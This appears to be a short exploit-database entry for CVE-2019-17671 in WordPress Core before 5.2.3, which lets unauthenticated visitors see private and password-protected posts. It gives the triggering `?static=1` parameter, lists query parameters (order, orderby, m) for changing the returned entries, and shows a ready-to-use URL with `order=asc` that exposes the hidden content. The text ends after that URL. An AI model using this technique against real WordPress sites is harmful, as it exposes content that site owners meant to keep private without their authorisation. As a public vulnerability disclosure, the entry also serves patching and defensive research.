WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts

Author: Sebastian Neef
type: webapps
platform: multiple
port: 
date_added: 2019-11-19 
date_updated: 2019-11-19 
verified: 0 
codes: CVE-2019-17671 
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So far we know that adding `?static=1` to a wordpress URL should leak its secret content

Here are a few ways to manipulate the returned entries:

- `order` with `asc` or `desc`
- `orderby`
- `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format


In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content: